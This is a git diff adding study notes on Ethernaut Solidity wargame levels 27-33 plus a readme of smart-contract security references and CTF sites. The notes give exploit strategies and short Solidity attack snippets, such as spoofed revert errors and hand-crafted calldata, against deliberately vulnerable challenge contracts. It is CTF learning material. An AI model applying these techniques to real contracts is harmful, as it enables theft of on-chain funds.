+    require(address(token) != address(det), "Can't sweep DET tokens");
+    require(address(token) != address(legacyToken), "Can't sweep LegacyToken");
+    token.transfer(owner(), token.balanceOf(address(this)));
+}
+
+## 27. Good Samaritan ✅[Easy]
+
+This challenge directly finds Inotify that can be exploited, and another point is exploiting
+```solidity
+catch (bytes memory err) {
+            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
+                // send the coins left
+                wallet.transferRemainder(msg.sender);
+                ...
+            }
+        }
+```
+This directly catches corresponding error and transfers all remaining tokens, and before transferring doesn't check if amount is actually <10, so can exploit by returning corresponding err (revert("NotEnoughBalance()")) when implementing notify earlier, then can get all remaining tokens transferred
+
+## 28. Gatekeeper Three ✅[Medium]
+
+Strategy:
+- Call constructor to set owner to your address.
+- Call createTrick to create SimpleTrick instance.
+- Find SimpleTrick contract's password.
+- Call getAllowance(password) to set allowEntrance to true.
+- Ensure contract balance greater than 0.001 ether, and set owner address to contract that cannot receive ether.
+- Call enter function through proxy contract to bypass gateOne check.
+- Successfully set entrant.
+
+## 29. Switch ✅[Easy]
+
+My strategy is directly calling flipSwitch, passing parameter with bytes4(keccak256("turnSwitchOff()")) in low order four bytes
+```solidity
+function attack() public {
+        // Construct _data:
+        // First 4 bytes are turnSwitchOn selector
+        // Bytes 68-72 are turnSwitchOff selector
+        bytes memory data = abi.encodeWithSelector(
+            target.turnSwitchOn.selector // Actually call turnSwitchOn
+        );
+
+        // Insert turnSwitchOff selector at bytes 68-72
+        assembly {
+            mstore(add(data, 0x44), shl(224, 0x9c60e39d)) // turnSwitchOff selector
+        }
+
+        // Call flipSwitch, trigger target logic
+        target.flipSwitch(data);
+}
+```
+
+## 30. HigherOrder ✅[Hard]
+
+This level mainly tests understanding of calldata. In Solidity, calldata is raw data sent to contract during function call, including following structure:
+Function selector (first 4 bytes): determines which function to call.
+Parameter data: follows selector, contains function input parameters.
+For example, for registerTreasury(uint8), normal calldata structure is:
+
+[ Function Selector (4 bytes) ][ Parameter (32 bytes, actually value within uint8 range) ]
+
+But because assembly directly reads 32 bytes after byte 4, entire parameter range is expanded. Can pass values exceeding uint8 range by manually constructing calldata.
+
+```solidity
+// Manually send calldata, bypass uint8 limit
+bytes memory payload = abi.encodeWithSignature("registerTreasury(uint8)", uint256(256));
+(bool success, ) = address(target).call(payload);
+require(success, "Failed to register treasury");
+```
+
+## 31. Stake ✅[Medium]
+
+Strategy:
+Attack StakeWETH, because WETH can be self-implemented, and here call directly executes WETH's approve method and transferfrom method. I can satisfy its bytesToUint check, then not transfer in but still added amount, so I can meet challenge requirements
+
+## 32. impersonator ✅[Hard]
+
+Strategy:
+Looked at this for long time, first confirm ecrecover is Ethereum built-in function used to recover signer's address from signature.
+Note: Its main use is verifying if a message was signed by private key held by certain Ethereum address. Through ecrecover, we can verify signer's identity without directly accessing private key.
+Then confirm everything fine except lock's constructor part, so carefully examine constructor
+```solidity
+bytes32 _msgHash;
+assembly {
+    mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
+    mstore(0x1C, _lockId) // 32 bytes
+    _msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
+}
+msgHash = _msgHash;
+``` 
+Generates hash value (msgHash) used as basis for signature verification. Stores fixed prefix "\x19Ethereum Signed Message:\n32" at memory start position 0x00. This is Ethereum's EIP-191 standard, requiring prefix before signature to prevent replay attacks.
+```solidity
+address initialController = address(1);
+assembly {
+    let ptr := mload(0x40)
+    mstore(ptr, _msgHash) // 32 bytes
+    mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
+    mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
+    mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
+    pop(
+        staticcall(
+            gas(), // Amount of gas left for the transaction.
+            initialController, // Address of `ecrecover`.
+            ptr, // Start of input.
+            0x80, // Size of input.
+            0x00, // Start of output.
+            0x20 // Size of output.
+        )
+    )
+    if iszero(returndatasize()) {
+        mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
+        revert(0x1c, 0x04)
+    }
+    initialController := mload(0x00)
+    mstore(0x40, add(ptr, 128))
+}
+``` 
+Recover signer address from _signature, use as initial controller (initialController) staticcall
+Attempt to call ecrecover contract, recover signer address.
+Error: Here wrongly uses initialController (address(1)) as call target address, while ecrecover is built-in function, doesn't need contract address at all.
+Fix:
+```solidity
+// Recover the address from the signature
+    (bytes32 r, bytes32 s, uint8 v) = abi.decode(_signature, (bytes32, bytes32, uint8));
+    address initialController = ecrecover(msgHash, v, r, s);
+    require(initialController != address(0), "Invalid signature");
+
+// Prevent signature reuse
+bytes32 signatureHash = keccak256(_signature);
+require(!usedSignatures[signatureHash], "Signature already used");
+usedSignatures[signatureHash] = true;
+```
+
+## 33. Magic Animal Carousel ✅[Easy]
+
+Not as difficult as first glance, just need to understand
+carousel is a mapping(uint256 => uint256), representing state of each carousel "box":
+High 80 bits (ANIMAL_MASK): stores animal name encoding.
+Middle 16 bits (NEXT_ID_MASK): stores next box's ID.
+Low 160 bits (OWNER_MASK): stores current box's owner address.
+Very simple, design is very clever, because adding up to exactly 256 bits, can store perfectly (EVM executes each instruction 256 bits)
+Hidden difficulty is input animal name actually can't exceed 10 bytes, but limit is 12 bytes
+
+[Continue with remaining challenges...]
+
+## Best Practices Learned
+
+1. **Smart Contract Security**
+   - Always validate external calls
+   - Use secure randomness sources
+   - Implement proper access controls
+
+2. **Code Design**
+   - Follow standard patterns
+   - Use modern Solidity features
+   - Maintain clean code structure
+
+3. **Testing**
+   - Write comprehensive tests
+   - Consider edge cases
+   - Test for security vulnerabilities
+
+## References
+- [Ethernaut](https://ethernaut.openzeppelin.com/)
+- [OpenZeppelin Contracts](https://github.com/OpenZeppelin/openzeppelin-contracts)
+- [How to become a smart contract auditor](https://cmichel.io/how-to-become-a-smart-contract-auditor/) 
+- [Cmichel's Solutions](https://cmichel.io/ethernaut-solutions/)
\ No newline at end of file
diff --git a/security/readme.md b/security/readme.md
new file mode 100644
index 000000000..35c1cbac6
--- /dev/null
+++ b/security/readme.md
@@ -0,0 +1,42 @@
+# Dapp Security
+
+## Solidity security references
+
+- [EVM code](https://blog.trustlook.com/understand-evm-bytecode-part-1/)
+- [SWC Registry](https://swcregistry.io/)
+- [Decentralized Application Security Project](https://www.dasp.co/)
+- [Solidity Security Considerations](https://docs.soliditylang.org/en/latest/security-considerations.html)
+- [Ethereum Smart Contract Security Best Practices](https://consensys.github.io/smart-contract-best-practices/)
+- [Examples of Solidity security issues](https://github.com/crytic/not-so-smart-contracts)
+- [Awesome Blockchain Security](https://github.com/xxxeyJ/Awesome-Blockchain-Security)
+- [EVM Deep Dives](https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy?s=r)
+
+## Solidity security wargame
+
+- [Ethernaut](https://ethernaut.openzeppelin.com/)
+- [Capture the Ether](https://capturetheether.com/challenges/)
+- [EtherHack](https://etherhack.positive.com/#/)
+- [Security Innovation Blockchain CTF](https://blockchain-ctf.securityinnovation.com/)
+- [Damn Vulnerable DeFi V3](https://www.damnvulnerabledefi.xyz/)
+  - [Damn Vulnerable DeFi V3 solutions](https://github.com/BlueAlder/damn-vulnerable-defi)
+- [ChainFlag](https://chainflag.org/)
+
+## Paper
+
+- [Diving Into Blockchain’s Weaknesses:
+  An Empirical Study of Blockchain System Vulnerabilities](https://arxiv.org/pdf/2110.12162.pdf)
+
+## Security analysis tool
+
+- 反解析 solidity
+  - <https://www.4byte.directory/>
+  - <https://tx.blocksecteam.com/>
+- ethtx
+  - <https://www.tofreedom.me/ethtxbscpolygon>
+  - <https://github.com/EthTx/ethtx>
+- 合约审计
+  - <https://www.trustlook.com/services/smart.html>
+
+## 攻击事件
+
+-wvault: <https://zhuanlan.zhihu.com/p/396525700>